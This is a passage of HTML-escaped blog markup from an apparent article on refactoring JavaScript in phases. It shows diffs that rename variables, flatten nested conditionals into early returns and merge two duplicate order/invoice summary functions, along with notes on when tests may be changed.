&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another example is replacing deeply nested &lt;code&gt;if&lt;/code&gt;s with some early return, or
ensuring similar looking functions are coded in a similar fashion. When there
are several ways to skin a cat, I make sure I at least skin the cat consistently
the same way throughout my code.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi has-diff&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./dates.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./api.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getOrderSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; summary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; summary&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getInvoiceSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In that phase, I never change the tests, I only improve the code. Tests are my
safeguard that my changes make the code better, without changing the behavior.&lt;/p&gt;
&lt;p&gt;In my example here, once I&#39;ve changed the deeply nested &lt;code&gt;if&lt;/code&gt;s into simpler early
returns, the shape of both &lt;code&gt;getOrderSummary&lt;/code&gt; and &lt;code&gt;getInvoiceSummary&lt;/code&gt; is very
similar.&lt;/p&gt;
&lt;p&gt;I might have a way to refactor that further, but this comes in the final phase:
restructure.&lt;/p&gt;
&lt;h2&gt;Restructure&lt;/h2&gt;
&lt;p&gt;Now that I&#39;ve cleaned up the &lt;strong&gt;inside&lt;/strong&gt; of each function, it is time to clean up
how those functions interact with each other.&lt;/p&gt;
&lt;p&gt;Both &lt;code&gt;getOrderSummary&lt;/code&gt; and &lt;code&gt;getInvoiceSummary&lt;/code&gt; do exactly the same thing, so I
remove them and keep only a higher level &lt;code&gt;getSummary&lt;/code&gt; function. The
&lt;code&gt;buildSummary&lt;/code&gt; function is no longer shared between two functions, so I inline
it in &lt;code&gt;getSummary&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In that phase, I am allowed to update tests. As I am changing the interface of
the code, I must also update the relevant tests accordingly. In my example, that
means moving the &lt;code&gt;buildSummary&lt;/code&gt; tests into the &lt;code&gt;getSummary&lt;/code&gt; tests.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi has-diff&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./dates.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./api.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
